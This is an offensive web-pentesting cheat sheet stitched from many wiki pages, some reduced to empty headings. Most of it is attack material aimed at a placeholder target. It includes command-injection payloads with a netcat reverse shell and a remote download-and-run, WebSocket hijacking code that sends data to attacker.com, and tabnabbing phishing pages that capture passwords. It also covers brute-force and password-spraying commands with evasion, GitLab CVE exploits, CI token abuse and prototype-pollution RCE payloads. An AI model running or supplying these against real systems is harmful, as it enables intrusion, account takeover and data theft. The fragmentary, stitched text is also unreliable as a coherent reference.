    ||
    # like: https://target.com/whatever?param=1|whoami
    
    # Blind (Time delay)
    https://target.com/whatever?param=x||ping+-c+10+127.0.0.1||
    
    # Blind (Redirect)
    https://target.com/whatever?param=x||whoami>/var/www/images/output.txt||
    
    # Blind (OOB)
    https://target.com/whatever?param=x||nslookup+burp.collaborator.address||
    https://target.com/whatever?param=x||nslookup+`whoami`.burp.collaborator.address||
    
    # Common params:
    cmd
    exec
    command
    execute
    ping
    query
    jump
    code
    reg
    do
    func
    arg
    option
    load
    process
    step
    read
    function
    req
    feature
    exe
    module
    payload
    run
    print
    
    # Useful Commands: Linux
    whoami
    ifconfig
    ls
    uname -a
    
    # Useful Commands: Windows
    whoami
    ipconfig
    dir
    ver
    
    # Both Unix and Windows supported
    ls||id; ls ||id; ls|| id; ls || id 
    ls|id; ls |id; ls| id; ls | id 
    ls&&id; ls &&id; ls&& id; ls && id 
    ls&id; ls &id; ls& id; ls & id 
    ls %0A id
    
    # Time Delay Commands
    & ping -c 10 127.0.0.1 &
    
    # Redirecting output
    & whoami > /var/www/images/output.txt &
    
    # OOB (Out Of Band) Exploitation
    & nslookup attacker-server.com &
    & nslookup `whoami`.attacker-server.com &
    
    # WAF bypasses
    vuln=127.0.0.1 %0a wget https://evil.txt/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
    vuln=127.0.0.1%0anohup nc -e /bin/bash <attacker-ip> <attacker-port>
    vuln=echo PAYLOAD > /tmp/payload.txt; cat /tmp/payload.txt | base64 -d > /tmp/payload; chmod 744 /tmp/payload; /tmp/payload
    
    # Some filter bypasses
    cat /etc/passwd
    cat /e”t”c/pa”s”swd
    cat /’e’tc/pa’s’ swd
    cat /etc/pa??wd
    cat /etc/pa*wd
    cat /et’ ‘c/passw’ ‘d
    cat /et$()c/pa$()$swd
    {cat,/etc/passwd}
    cat /???/?????d
    
    # Tools
    https://github.com/commixproject/commix
    # https://github.com/ticarpi/jwt_tool
    # https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
    
    # https://github.com/hahwul/jwt-hack
    # https://github.com/mazen160/jwt-pwn
    # https://github.com/mBouamama/MyJWT
    # https://github.com/DontPanicO/jwtXploiter
    
    # Test all common attacks
    python3 jwt_tool.py -t https://url_that_needs_jwt/ -rh "Authorization: Bearer JWT" -M at -cv "Welcome user!"
    
    # Hashcat
    # dictionary attacks 
    hashcat -a 0 -m 16500 jwt.txt passlist.txt
    # rule-based attack  
    hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule
    # brute-force attack
    hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6
    
    
    # Crack
    pip install PyJWT
    # https://github.com/Sjord/jwtcrack
    # https://raw.githubusercontent.com/Sjord/jwtcrack/master/jwt2john.py
    jwt2john.py JWT
    ./john /tmp/token.txt --wordlist=wordlist.txt
    
    # Wordlist generator crack tokens:
    # https://github.com/dariusztytko/token-reverser
    
    # RS256 to HS256
    openssl s_client -connect www.google.com:443 | openssl x509 -pubkey -noout > public.pem
    cat public.pem | xxd -p | tr -d "\\n" > hex.txt
    # Sign JWT with hex.txt 
    
    # Generate JWT from terminal
    pip install pyjwt
    python3 -c 'import jwt;print(jwt.encode({"role": "admin"},"SECRET",algorithm="HS256").decode("UTF-8"))'

    ⚠️ Risk factor

    Long session timeout

    ⚠️ Risk factor

    XSS
    SSRF
    LFI/RFI
    Web Exploits
    Reverse Shells
    https://www.localroot.net/www.localroot.netchevron-right
    SSL Labs Server Testarrow-up-right
    testssl.sharrow-up-right
    Mozilla SSL Configuration Generatorarrow-up-right
    OWASP TLS Cheat Sheetarrow-up-right

    Rate limiting bypass

    WebSocket often lacks rate limits

    Insecure ws://

    Check if wss:// is enforced

    Missing Origin validation

    Send request with different Origin

    No authentication

    Connect without session cookie

    Injection in messages

    Send <script>, SQL, etc. in messages

    IDOR via WebSocket

    CSRF
    XSS
    IDOR

    Change user IDs in messages

    XSS
    Deserialization
    SSTI

    Email links

    Webmail rendering links

    Forum posts

    User-submitted links with target="_blank"

    Comments

    Blog/article comment sections

    User profiles

    Profile links to external sites

    Documentation

    Chrome 88+

    Implicitly adds noopener

    Firefox 79+

    Implicitly adds noopener

    Safari 12.1+

    Implicitly adds noopener

    Edge 88+

    XSS
    Phishing
    CSRF

    Links to external resources

    Implicitly adds noopener

    RoR (Ruby on Rails)

    **Tools** 
    # https://github.com/presidentbeef/brakeman
    gem install brakeman
    brakeman /path/to/rails/application
    
    # RoR RCE's
    # https://bishopfox.com/blog/ruby-vulnerabilities-exploits
    hashtag
    Wordlist Generation

    hashtag
    HTTP Bruteforcing

    hashtag
    Hydra

    hashtag
    ffuf

    hashtag
    Patator

    hashtag
    Service Bruteforcing

    hashtag
    SSH

    hashtag
    RDP

    hashtag
    FTP

    hashtag
    SMB

    hashtag
    Database Services

    hashtag
    Other Services

    hashtag
    Evasion Techniques

    hashtag
    Password Spraying

    hashtag
    Default Credentials

    hashtag
    Wordlists

    hashtag
    Related Topics

    • Password Cracking - Hash cracking

    • Wordlist Reference - Wordlist selection guide

    hashtag
    Public Information

    hashtag
    User Enumeration

    hashtag
    Version Detection

    hashtag
    Common Vulnerabilities

    hashtag
    CVE-2021-22205 (RCE via Image Upload) - Critical

    hashtag
    CVE-2021-22214 (SSRF)

    hashtag
    CVE-2023-2825 (Path Traversal)

    hashtag
    CVE-2023-7028 (Account Takeover)

    hashtag
    CI/CD Pipeline Exploitation

    hashtag
    Secrets in CI Variables

    hashtag
    Token Abuse

    hashtag
    Runner Exploitation

    hashtag
    GraphQL API Testing

    hashtag
    Post-Exploitation

    hashtag
    Tools

    hashtag
    Related Topics

    • CI/CD Security - Pipeline attacks

    • SSRF - GitLab SSRF vulnerabilities

    • Supply Chain - Code repository attacks

    hashtag
    With creds

    hashtag
    Internal config files

    hashtag
    Kibana

    hashtag
    Basic

    hashtag
    Logstash

    hashtag
    Basic

    # Protocols
    ✅ TLS 1.3 (preferred)
    ✅ TLS 1.2 (acceptable)
    ❌ TLS 1.1 (deprecated)
    ❌ TLS 1.0 (deprecated)
    ❌ SSLv3 (insecure)
    ❌ SSLv2 (insecure)
    
    # Cipher Suites (TLS 1.3)
    TLS_AES_256_GCM_SHA384
    TLS_CHACHA20_POLY1305_SHA256
    TLS_AES_128_GCM_SHA256
    
    # Cipher Suites (TLS 1.2)
    ECDHE-ECDSA-AES256-GCM-SHA384
    ECDHE-RSA-AES256-GCM-SHA384
    ECDHE-ECDSA-CHACHA20-POLY1305
    ECDHE-RSA-CHACHA20-POLY1305
    ECDHE-ECDSA-AES128-GCM-SHA256
    ECDHE-RSA-AES128-GCM-SHA256
    
    # Key Exchange
    ✅ ECDHE (Elliptic Curve Diffie-Hellman Ephemeral)
    ⚠️ DHE (only with 2048+ bit parameters)
    ❌ RSA key exchange (no forward secrecy)
    ❌ DH < 2048 bits
    
    # Certificates
    ✅ RSA 2048+ bits or ECDSA 256+ bits
    ✅ SHA-256 or better signature
    ❌ SHA-1 signatures
    ❌ MD5 signatures
    # Check supported protocols
    openssl s_client -connect example.com:443 -tls1_3
    openssl s_client -connect example.com:443 -tls1_2
    openssl s_client -connect example.com:443 -tls1_1
    openssl s_client -connect example.com:443 -tls1
    
    # Check certificate details
    openssl s_client -connect example.com:443 </dev/null 2>/dev/null | openssl x509 -noout -text
    
    # Check certificate expiry
    echo | openssl s_client -connect example.com:443 2>/dev/null | openssl x509 -noout -dates
    
    # Check certificate chain
    openssl s_client -connect example.com:443 -showcerts
    # Check for "SSLv2 supported"
    nmap -p- -sV -sC example.com
    testssl.sh --drown example.com
    # Check in the lower port
    openssl s_client –tls1 -fallback_scsv -connect example.com:443
    # - Response:
    # tlsv1 alert inappropriate fallback:s3_pkt.c:1262:SSL alert number 86
    # TLSv1.0 and CBC ciphers
    openssl s_client -[sslv3/tls1] -cipher CBC_CIPHER -connect example.com:443
    openssl s_client -cipher CBC_CIPHER -connect example.com:443
    openssl s_client -cipher 3DES -connect example.com:443
    # Check the "Server Temp Key" response is bigger than 1024 (only in OpenSSL 1.0.2 or better)
    openssl s_client -connect www.example.com:443 -cipher "EDH"
    # If is supported this will return the server certificate information if not, error
    openssl s_client –ssl2 -connect example.com:443
    # If is supported this will return the server certificate information if not, error
    openssl s_client -ssl3 -connect google.com:443
    # Cipher Suites
    nmap --script ssl-enum-ciphers -p 443 example.com
    
    # - Anon cypher (fail)
    openssl s_client -cipher aNULL -connect example.com:443
    
    # - DES Cipher (fail)
    openssl s_client -cipher DES -connect example.com:443
    
    # - 3DES Cipher (fail)
    openssl s_client -cipher 3DES -connect example.com:443
    
    # - Export Cipher (fail)
    openssl s_client -cipher EXPORT -connect example.com:443
    
    # - Low Cipher (fail)
    openssl s_client -cipher LOW -connect example.com:443
    
    # - RC4 Cipher (fail)
    openssl s_client -cipher RC4 -connect example.com:443
    
    # - NULL Cipher (fail)
    openssl s_client -cipher NULL -connect example.com:443
    
    # - Perfect Forward Secrecy Cipher (This should NOT fail):
    openssl s_client -cipher EECDH, EDH NULL -connect example.com:443
    # Check secure renegotiation is not supported
    # If not, send request in the renegotiation
    # Once sent, if it's vulnerable it shouldn't return error
    openssl s_client -connect example.com:443
    HEAD / HTTP/1.0
    R
    # <Enter or Return key>
    # Check for "Compression: NONE"
    openssl s_client -connect example.com:443
    # If the response contains encoded data, host is vulnerable
    openssl s_client -connect example.com:443
    GET / HTTP/1.1
    Host: example.com
    Accept-Encoding: compress, gzip
    # Heartbleed
    nmap -p 443 --script ssl-heartbleed --script-args vulns.showall example.com
    
    # Heartbleed checker oneliner from sites list
    cat list.txt | while read line ; do echo "QUIT" | openssl s_client -connect $line:443 2>&1 | grep 'server extension "heartbeat" (id=15)' || echo $line: safe; done
    nmap -p 443 --script ssl-ccs-injection example.com
    # Choose a protocol and 2 different ciphers, one stronger than other
    # Make 2 request with different cipher order anc check in the response if the cipher is the first of the request in both cases
    nmap -p 443 --script ssl-enum-ciphers example.com
    openssl s_client –tls1_2 –cipher ‘AES128-GCM-SHA256:AES128-SHA’ –connect contextis.co.uk:443
    openssl s_client –tls1_2 –cipher ‘AES128-SHA:AES128-GCM-SHA256’ –connect contextis.co.uk:443
    # SSLv3 + CBC = vulnerable
    openssl s_client -ssl3 -connect example.com:443
    testssl.sh --poodle example.com
    # Return Of Bleichenbacher's Oracle Threat
    # RSA key exchange vulnerability
    testssl.sh --robot example.com
    # Check for certificate issues
    testssl.sh --cert example.com
    
    # Common issues:
    # - Expired certificate
    # - Self-signed certificate
    # - Wrong hostname (CN/SAN mismatch)
    # - Weak signature algorithm (SHA-1, MD5)
    # - Short key length (< 2048 bits RSA)
    # - Missing intermediate certificates
    HTTP/1.1 101 Switching Protocols
    Connection: Upgrade
    Upgrade: websocket
    Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
    <!-- Attacker's page -->
    <script>
    var ws = new WebSocket('wss://vulnerable-site.com/chat');
    ws.onopen = function() {
        ws.send('{"action": "get_messages"}');
    };
    ws.onmessage = function(event) {
        // Exfiltrate data to attacker server
        fetch('https://attacker.com/log?data=' + encodeURIComponent(event.data));
    };
    </script>
    # Check if Origin is validated
    curl -i -N -H "Connection: Upgrade" \
      -H "Upgrade: websocket" \
      -H "Host: target.com" \
      -H "Origin: https://attacker.com" \
      -H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
      -H "Sec-WebSocket-Version: 13" \
      https://target.com/socket
    
    # If 101 Switching Protocols → Vulnerable
    // Intercept and modify WebSocket messages in browser console
    const originalSend = WebSocket.prototype.send;
    WebSocket.prototype.send = function(data) {
        console.log('Sending:', data);
        // Modify data here
        return originalSend.call(this, data);
    };
    # https://github.com/PalindromeLabs/STEWS
    python3 stews.py -u wss://target.com/socket
    
    # Discovery mode
    python3 stews.py -u https://target.com --discovery
    
    # Fuzzing
    python3 stews.py -u wss://target.com/socket --fuzz
    1. Proxy → WebSockets history (shows all WS traffic)
    2. Right-click message → Send to Repeater
    3. Modify and resend messages
    4. Use Intruder for message fuzzing
    # Install
    npm install -g wscat
    
    # Connect
    wscat -c wss://target.com/socket
    
    # With headers
    wscat -c wss://target.com/socket -H "Cookie: session=abc123"
    
    # Send message
    > {"action": "get_user", "id": 1}
    # https://github.com/AhmedMohamedDev/websocat
    websocat wss://target.com/socket
    
    # With Origin header
    websocat -H "Origin: https://attacker.com" wss://target.com/socket
    // If messages are rendered without sanitization
    ws.send('{"message": "<img src=x onerror=alert(1)>"}');
    ws.send('{"user_id": "1 OR 1=1--"}');
    ws.send('{"search": "test\' UNION SELECT password FROM users--"}');
    // Try accessing other users' data
    ws.send('{"action": "get_messages", "user_id": "admin"}');
    ws.send('{"action": "delete", "message_id": "1", "user_id": "victim"}');
    // Create connection
    var ws = new WebSocket('wss://target.com/socket');
    
    // Monitor events
    ws.onopen = () => console.log('Connected');
    ws.onmessage = (e) => console.log('Received:', e.data);
    ws.onerror = (e) => console.log('Error:', e);
    ws.onclose = () => console.log('Closed');
    
    // Send test messages
    ws.send(JSON.stringify({action: 'test'}));
    // Test in browser console or via URL parameters
    // Check if prototype is pollutable
    
    // Via URL query string
    ?__proto__[test]=polluted
    ?__proto__.test=polluted
    ?constructor[prototype][test]=polluted
    
    // Via JSON body
    {"__proto__": {"test": "polluted"}}
    {"constructor": {"prototype": {"test": "polluted"}}}
    
    // Verify pollution
    Object.prototype.test === "polluted"
    # PPScan - Prototype Pollution Scanner
    # https://github.com/AhmedMohamedDev/PPScan
    python3 ppscan.py -u "https://target.com/?param=value"
    
    # Client-side prototype pollution scanner
    # https://github.com/AhmedMohamedDev/ClientSidePrototypePollution
    node ClientSidePrototypePollution.js -u "https://target.com"
    
    # Burp extension - Server-Side Prototype Pollution Scanner
    # https://github.com/AhmedMohamedDev/Burp-PrototypePollutionScanner
    
    # ppmap - Prototype Pollution Exploiter
    # https://github.com/AhmedMohamedDev/ppmap
    ppmap -u "https://target.com"
    // Object.assign
    Object.assign({}, userInput);
    
    // Lodash merge (before 4.17.21)
    _.merge({}, userInput);
    _.set({}, path, value);
    _.setWith({}, path, value);
    
    // jQuery extend
    $.extend(true, {}, userInput);
    
    // Deep merge libraries
    deepmerge({}, userInput);
    // If application uses innerHTML with polluted properties
    ?__proto__[innerHTML]=<img/src/onerror=alert(1)>
    
    // Pollute srcdoc for iframes
    ?__proto__[srcdoc]=<script>alert(1)</script>
    
    // Pollute href for anchors
    ?__proto__[href]=javascript:alert(1)
    // jQuery < 3.4.0 (CVE-2019-11358)
    $.extend(true, {}, JSON.parse('{"__proto__": {"test": "alert(1)"}}'));
    
    // Lodash < 4.17.12 (CVE-2019-10744)
    _.template('', {variable: 'x'}); // with polluted sourceURL
    ?__proto__[sourceURL]=\u000aAlert(1)//
    
    // Vue.js
    ?__proto__[v-if]=_c.constructor('alert(1)')()
    
    // Handlebars
    ?__proto__[pendingContent]=<script>alert(1)</script>
    
    // Pug/Jade
    ?__proto__[block]={"type":"Text","val":"<script>alert(1)</script>"}
    // RCE via child_process
    {"__proto__": {"shell": "/proc/self/exe", "argv0": "console.log(require('child_process').execSync('id').toString())//"}}
    
    // RCE via env pollution
    {"__proto__": {"env": {"NODE_OPTIONS": "--require /proc/self/fd/0"}}}
    
    // DoS via constructor pollution
    {"__proto__": {"toString": "not a function"}}
    // Alternative property paths
    constructor.prototype.polluted=1
    __proto__.polluted=1
    __proto__[polluted]=1
    
    // Unicode encoding
    \u005f\u005fproto\u005f\u005f
    
    // Mixed case (rare)
    __PROTO__
    
    // Array pollution
    [].__proto__.polluted=1
    # Scanning
    https://github.com/AhmedMohamedDev/PPScan
    https://github.com/AhmedMohamedDev/ClientSidePrototypePollution
    https://github.com/AhmedMohamedDev/ppmap
    
    # Gadget database
    https://github.com/AhmedMohamedDev/client-side-prototype-pollution
    
    # Burp Extension
    https://portswigger.net/bappstore/c1d4bd60626d4178a54d36ee802cf7e8
    <!-- VULNERABLE: No rel attribute -->
    <a href="https://attacker.com" target="_blank">Click me</a>
    
    <!-- VULNERABLE: Empty rel attribute -->
    <a href="https://attacker.com" target="_blank" rel="">Click me</a>
    
    <!-- VULNERABLE: Only noreferrer (still allows opener access in some browsers) -->
    <a href="https://attacker.com" target="_blank" rel="noreferrer">Click me</a>
    <!-- SECURE: noopener prevents window.opener access -->
    <a href="https://external.com" target="_blank" rel="noopener">Click me</a>
    
    <!-- SECURE: Both noopener and noreferrer -->
    <a href="https://external.com" target="_blank" rel="noopener noreferrer">Click me</a>
    
    <!-- SECURE: Modern browsers auto-add noopener, but explicit is better -->
    # Find vulnerable links
    grep -rn 'target="_blank"' . | grep -v 'noopener'
    grep -rn 'target=\\"_blank\\"' . | grep -v 'noopener'
    
    # Check in browser DevTools
    # Elements tab → search: target="_blank"
    # Verify each has rel="noopener"
    # Using nuclei
    nuclei -t http/vulnerabilities/generic/tabnabbing-check.yaml -u https://target.com
    
    # Using custom grep on crawled pages
    katana -u https://target.com -d 3 | while read url; do
      curl -s "$url" | grep -oP '<a[^>]*target="_blank"[^>]*>' | grep -v 'noopener'
    done
    <!-- attacker.com/evil.html -->
    <!DOCTYPE html>
    <html>
    <head><title>Interesting Article</title></head>
    <body>
    <h1>Loading content...</h1>
    <script>
    if (window.opener) {
        // Redirect parent to phishing page
        window.opener.location = "https://attacker.com/phishing.html";
    }
    </script>
    </body>
    </html>
    <!-- attacker.com/phishing.html (looks like target) -->
    <!DOCTYPE html>
    <html>
    <head><title>Target.com - Session Expired</title></head>
    <body>
    <h1>Your session has expired</h1>
    <form action="https://attacker.com/capture" method="POST">
        <input type="text" name="username" placeholder="Username">
        <input type="password" name="password" placeholder="Password">
        <button type="submit">Login</button>
    </form>
    </body>
    </html>
    // Wait before redirecting (victim less likely to notice)
    setTimeout(function() {
        if (window.opener) {
            window.opener.location = "https://attacker.com/phishing.html";
        }
    }, 5000); // 5 seconds delay
    // VULNERABLE
    window.open('https://attacker.com');
    
    // SECURE
    window.open('https://external.com', '_blank', 'noopener,noreferrer');
    # Identify hash type
    hash-identifier
    
    # Name That Hash (better)
    # https://github.com/HashPals/Name-That-Hash
    nth --text "5f4dcc3b5aa765d61d8327deb882cf99"
    
    # hashid
    hashid -m '$2a$10$...'  # Shows hashcat mode
    # CeWL - Generate wordlist from target website
    cewl https://target.com -d 3 -m 5 -w custom_wordlist.txt
    cewl https://target.com --with-numbers -d 3 -w wordlist.txt
    
    # Generate password variations
    # https://github.com/edoardottt/longtongue
    python3 longtongue.py -w base_words.txt -o passwords.txt
    
    # Username wordlist from names
    # https://github.com/AhmedMohamedDev/namemash.py
    python namemash.py names.txt > usernames.txt
    # HTTP GET Form
    hydra -L users.txt -P passwords.txt target.com http-get-form \
      "/login:username=^USER^&password=^PASS^:F=Invalid credentials"
    
    # HTTP POST Form
    hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form \
      "/login:user=^USER^&pass=^PASS^:F=Login failed" -V
    
    # HTTPS POST Form
    hydra -l admin -P passwords.txt target.com -s 443 -S https-post-form \
      "/login:username=^USER^&password=^PASS^:F=Incorrect"
    
    # Basic Auth
    hydra -L users.txt -P passwords.txt target.com http-get /admin
    
    # With cookies
    hydra -l admin -P passwords.txt target.com http-post-form \
      "/login:user=^USER^&pass=^PASS^:F=failed:H=Cookie: session=abc123"
    # POST login form
    ffuf -w users.txt:USER -w passwords.txt:PASS \
      -u https://target.com/login \
      -X POST -d "username=USER&password=PASS" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      -fc 401 -mc 200,302
    
    # With rate limiting
    ffuf -w passwords.txt -u https://target.com/login \
      -X POST -d "user=admin&pass=FUZZ" \
      -rate 10 -fc 401
    # HTTP POST
    patator http_fuzz url=https://target.com/login method=POST \
      body='{"user":"admin","password":"FILE0"}' \
      0=/path/to/passwords.txt \
      accept_cookie=1 follow=1 \
      -x ignore:fgrep='Invalid'
    
    # HTTP Basic Auth
    patator http_fuzz url=https://target.com/admin \
      user_pass=FILE0:FILE1 \
      0=users.txt 1=passwords.txt \
      -x ignore:code=401
    hydra -l root -P passwords.txt ssh://target.com
    hydra -L users.txt -P passwords.txt target.com ssh -t 4
    
    # Medusa
    medusa -h target.com -u root -P passwords.txt -M ssh
    
    # Ncrack
    ncrack -p 22 --user root -P passwords.txt target.com
    hydra -l administrator -P passwords.txt rdp://target.com
    ncrack -p 3389 --user administrator -P passwords.txt target.com
    
    # Crowbar (RDP specific)
    crowbar -b rdp -s target.com/32 -u admin -C passwords.txt -n 1
    hydra -L users.txt -P passwords.txt ftp://target.com
    hydra -l anonymous -P passwords.txt target.com ftp
    hydra -L users.txt -P passwords.txt smb://target.com
    crackmapexec smb target.com -u users.txt -p passwords.txt
    # MySQL
    hydra -l root -P passwords.txt mysql://target.com
    
    # PostgreSQL
    hydra -l postgres -P passwords.txt postgres://target.com
    
    # MSSQL
    hydra -l sa -P passwords.txt mssql://target.com
    
    # MongoDB
    nmap -p 27017 --script mongodb-brute target.com
    # SNMP
    hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
    
    # SMTP
    hydra -l [email protected] -P passwords.txt smtp://target.com
    
    # POP3
    hydra -l user -P passwords.txt pop3://target.com
    
    # IMAP
    hydra -l user -P passwords.txt imap://target.com
    # Slow down requests
    hydra -l admin -P passwords.txt target.com http-post-form "/login:..." -t 1 -w 3
    
    # Random User-Agent
    hydra ... -e nsr  # Try null, same as login, reversed
    
    # IP rotation (via proxychains)
    proxychains hydra -l admin -P passwords.txt target.com http-post-form "/login:..."
    
    # Add delays between requests
    ffuf -w passwords.txt -u https://target.com/login -p 0.5-1.0
    # Single password against many users
    # https://github.com/x90skysn3k/brutespray
    python brutespray.py --file nmap.gnmap -U users.txt -p 'Summer2024!' --threads 5
    
    # CrackMapExec for AD
    crackmapexec smb dc.target.com -u users.txt -p 'Password123!' --continue-on-success
    
    # Spray single password
    hydra -L users.txt -p 'Welcome1!' target.com http-post-form "/login:..."
    # Check common default credentials
    # https://github.com/ihebski/DefaultCreds-cheat-sheet
    # https://many-passwords.github.io/
    
    # Common defaults to try:
    admin:admin
    admin:password
    root:root
    test:test
    guest:guest
    # Passwords
    /usr/share/wordlists/rockyou.txt
    /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
    /usr/share/seclists/Passwords/darkweb2017-top10000.txt
    
    # Usernames
    /usr/share/seclists/Usernames/top-usernames-shortlist.txt
    /usr/share/seclists/Usernames/Names/names.txt
    Username: root
    Password: 5iveL!fe
    
    Username: admin  
    Password: 5iveL!fe
    
    # Note: GitLab 14.0+ forces password change on first login
    # Check for public projects (even on private instances)
    https://gitlab.target.com/explore
    https://gitlab.target.com/explore/projects
    https://gitlab.target.com/explore/groups
    https://gitlab.target.com/explore/snippets
    
    # Search for sensitive content
    # Use searchbar for: password, secret, key, token, api_key, credentials
    
    # API endpoints (may leak version info)
    https://gitlab.target.com/api/v4/version
    https://gitlab.target.com/api/v4/projects
    https://gitlab.target.com/api/v4/users
    # Enumerate users via API
    curl https://gitlab.target.com/api/v4/users
    
    # Check user profiles
    https://gitlab.target.com/users/admin
    https://gitlab.target.com/admin
    
    # Enumerate via response differences
    # Valid user: 200 OK with profile
    # Invalid user: 404 Not Found
    # Check version (if exposed)
    curl https://gitlab.target.com/api/v4/version
    curl https://gitlab.target.com/help
    
    # Fingerprint via assets
    # Compare JS/CSS hashes with known versions
    # Affects GitLab CE/EE < 13.10.3, < 13.9.6, < 13.8.8
    # Unauthenticated RCE via malicious image in exiftool
    
    # Check if vulnerable
    curl -s https://gitlab.target.com/users/sign_in | grep -oP 'gitlab_version.*?(\d+\.\d+\.\d+)'
    
    # Exploit - https://github.com/AhmedMohamedDev/CVE-2021-22205
    python3 exploit.py -t https://gitlab.target.com -c "id"
    # Affects GitLab CE/EE 10.5 to 13.10.4
    # SSRF via CI lint API
    
    curl -X POST "https://gitlab.target.com/api/v4/ci/lint" \
      -H "Content-Type: application/json" \
      -d '{"content": "include:\n  remote: http://attacker.com/evil.yml"}'
    # Affects GitLab CE/EE 16.0
    # Unauthenticated path traversal to read files
    
    curl "https://gitlab.target.com/uploads/-/system/personal_snippet/1/secret/../../../../../../../../etc/passwd"
    # Affects GitLab CE/EE < 16.5.6, < 16.6.4, < 16.7.2
    # Password reset to attacker-controlled email
    
    # Exploit via duplicate email parameter
    POST /users/password HTTP/1.1
    user[email][email protected]&user[email][email protected]
    # .gitlab-ci.yml - Check for exposed secrets
    # Variables often visible in job logs if not masked
    
    script:
      - echo $CI_JOB_TOKEN  # May have repo access
      - echo $PRIVATE_TOKEN  # If misconfigured
      - printenv  # Dump all variables
    # CI_JOB_TOKEN has temporary access to:
    # - Clone repositories in the same group
    # - Push to container registry
    # - Access package registry
    
    # Use stolen CI_JOB_TOKEN
    git clone https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.target.com/group/repo.git
    
    # Access container registry
    docker login -u gitlab-ci-token -p ${CI_JOB_TOKEN} registry.gitlab.target.com
    # If you can modify .gitlab-ci.yml in any repo:
    # 1. Shared runners may access other project secrets
    # 2. Shell executors run as gitlab-runner user
    # 3. Docker executors may allow container escape
    
    # Malicious CI job
    stages:
      - exploit
    
    exploit:
      stage: exploit
      script:
        - cat /etc/passwd
        - env
        - ls -la /home/gitlab-runner/
    # Introspection query
    curl -X POST https://gitlab.target.com/api/graphql \
      -H "Content-Type: application/json" \
      -d '{"query": "{ __schema { types { name } } }"}'
    
    # Query current user
    curl -X POST https://gitlab.target.com/api/graphql \
      -H "Content-Type: application/json" \
      -H "Authorization: Bearer TOKEN" \
      -d '{"query": "{ currentUser { username email } }"}'
    # If you have access to GitLab server:
    
    # Database credentials
    cat /etc/gitlab/gitlab.rb | grep -i password
    cat /var/opt/gitlab/gitlab-rails/etc/database.yml
    
    # Secrets file (for cookie signing, etc.)
    cat /etc/gitlab/gitlab-secrets.json
    
    # Rails console (as root)
    gitlab-rails console
    # Then: User.find_by(username: 'root').password = 'newpassword'
    
    # Backup (contains all data)
    ls /var/opt/gitlab/backups/
    # GitLab enumeration
    # https://github.com/AhmedMohamedDev/gitlab-enum
    python3 gitlab_enum.py -t https://gitlab.target.com
    
    # CI/CD exploitation
    # https://github.com/AhmedMohamedDev/nord-stream
    nord-stream -t gitlab -u https://gitlab.target.com -token TOKEN
    
    # General
    nuclei -t http/cves/2021/CVE-2021-22205.yaml -u https://gitlab.target.com
    # Check status:
    curl -X GET "ELASTICSEARCH-SERVER:9200/"
    
    # Check Auth enabled:
    curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
    
    # Users:
    elastic:changeme
    kibana_system
    logstash_system
    beats_system
    apm_system
    remote_monitoring_user
    
    # Other endpoints
    /_cluster/health
    /_cat/indices
    /_cat/health
    
    # Interesting endpoints (BE CAREFUL)
    /_shutdown
    /_cluster/nodes/_master/_shutdown
    /_cluster/nodes/_shutdown
    /_cluster/nodes/_all/_shutdown
    # Using the API key:
    curl -H "Authorization: ApiKey <API-KEY>" ELASTICSEARCH-SERVER:9200/
    
    # Get more information about the rights of an user:
    curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
    
    # List all users on the system:
    curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user"
    
    # List all roles on the system:
    curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role
    Elasticsearch configuration: /etc/elasticsearch/elasticsearch.yml
    Kibana configuration: /etc/kibana/kibana.yml
    Logstash configuration: /etc/logstash/logstash.yml
    Filebeat configuration: /etc/filebeat/filebeat.yml
    Users file: /etc/elasticsearch/users_roles
    # Port: 5601
    # Config file && users: /etc/kibana/kibana.yml
    # Try also with use kibana_system
    # Version < 6.6.0 = RCE (https://github.com/LandGrey/CVE-2019-7609/)
    # Pipelines config: /etc/logstash/pipelines.yml
    # Check pipelines with this property: "config.reload.automatic: true"
    # If file wildcard is specified:
    ###################
    input {
      exec {
        command => "whoami"
        interval => 120
      }
    }
    
    output {
      file {
        path => "/tmp/output.log"
        codec => rubydebug
      }
    }
    ####################
    # https://github.com/defparam/smuggler
    python3 smuggler.py -u <URL>
    # https://github.com/defparam/tiscripts
    
    # https://github.com/anshumanpattnaik/http-request-smuggling/
    python3 smuggle.py -u <URL>
    
    # https://github.com/assetnote/h2csmuggler
    go run ./cmd/h2csmuggler check https://google.com/ http://localhost
    
    
    # HTTP/2
    # https://github.com/BishopFox/h2csmuggler
    # SQLi
    python3 jwt_tool.py <JWT> -I -pc name -pv "imparable' ORDER BY 1--" -S hs256 -k public.pem
    
    # Manipulate other values to change expiration time or userID for example
    https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35
    https://blog.cobalt.io/bypassing-the-protections-mfa-bypass-techniques-for-the-win-8ef6215de6ab
    https://research.nccgroup.com/2021/06/10/testing-two-factor-authentication/

    Flask

    Python Flask application security testing - cookie manipulation, SSTI, debug mode exploitation.

    hashtag
    Cookie/Session Attacks

    hashtag
    Flask-Unsign

    hashtag
    Cookie Structure

    hashtag
    Server-Side Template Injection (SSTI)

    hashtag
    Detection

    hashtag
    Information Disclosure

    hashtag
    File Read

    hashtag
    Remote Code Execution

    hashtag
    Filter Bypass

    hashtag
    Debug Mode Exploitation

    hashtag
    Werkzeug Debugger

    hashtag
    PIN Calculation

    hashtag
    Common Endpoints

    hashtag
    Tools

    hashtag
    Related Topics

    • - Server-side template injection

    • - For reading files to calculate PIN

    • - Python pickle attacks

    Tomcat

    Apache Tomcat security testing - enumeration, default credentials, manager exploitation, and common CVEs.

    hashtag
    Enumeration

    hashtag
    Version Detection

    hashtag
    Default Paths

    hashtag
    Example Applications (often left enabled)

    hashtag
    Default Credentials

    hashtag
    Credentials Location

